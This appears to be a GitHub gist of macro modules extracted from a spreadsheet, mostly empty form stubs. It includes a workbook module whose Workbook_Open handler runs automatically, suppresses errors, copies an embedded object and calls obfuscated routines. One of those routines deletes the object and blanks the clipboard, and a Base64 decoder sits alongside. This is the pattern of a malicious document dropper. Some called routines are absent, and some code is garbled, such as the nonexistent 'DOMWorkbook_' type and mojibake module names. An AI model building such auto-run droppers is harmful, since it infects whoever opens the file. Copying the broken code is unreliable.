| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm6" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm4" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm3" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm1" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="UserForm2" script:language="StarBasic" script:moduleType="form">Rem Attribute VBA_ModuleType=VBAFormModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="xcvxvxv" script:language="StarBasic" script:moduleType="normal">Rem Attribute VBA_ModuleType=VBAModule | |
| Option VBASupport 1 | |
| Sub cek() | |
| ActiveSheet.Shapes.Range(Array("Object 3")).Select | |
| Selection.Delete | |
| Selection.Cut | |
| Set D = New DataObject | |
| D.SetText " " | |
| D.PutInClipboard | |
| Selection.MoveUp Unit:=wdScreen, Count:=7 | |
| Selection.MoveUp Unit:=wdScreen, Count:=7 | |
| Selection.MoveLeft Unit:=wdCharacter, Count:=13 | |
| Dim t As Date | |
| t = Now | |
| Do | |
| DoEvents | |
| Loop Until Now >= DateAdd("s", 3, t) | |
| End Sub | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="ЛиÑÑ‚1" script:language="StarBasic" script:moduleType="document">Rem Attribute VBA_ModuleType=VBADocumentModule | |
| Option VBASupport 1 | |
| </script:module><?xml version="1.0" encoding="UTF-8"?> | |
| <!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd"> | |
| <script:module xmlns:script="http://openoffice.org/2000/script" script:name="ÐтаКнига" script:language="StarBasic" script:moduleType="document">Rem Attribute VBA_ModuleType=VBADocumentModule | |
| Option VBASupport 1 | |
| Private Sub Workbook_Open() | |
| On Error Resume Next | |
| ActiveSheet.Shapes.Range(Array("Object 3")).Select | |
| Selection.Copy | |
| Call sdfsdf | |
| Call cek | |
| Call killo | |
| End Sub | |
| Private Function DecodeBase64(ByVal strData As String) As Byte() | |
| Dim objXML As MSXML2.DOMWorkbook_ | |
| Dim objNode As MSXML2.IXMLDOMElement | |
| Set objXML = New MSXML2.DOMWorkbook_ | |
| Set objNode = objXML.createElement("b64") | |
| objNode.DataType = "bin.base64" | |
| objNode.Text = strData | |
| DecodeBase64 = objNode.nodeTypedValue | |
| Set objNode = Nothing | |
| Set objXML = Nothing | |
| End Function | |
| </script:module> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment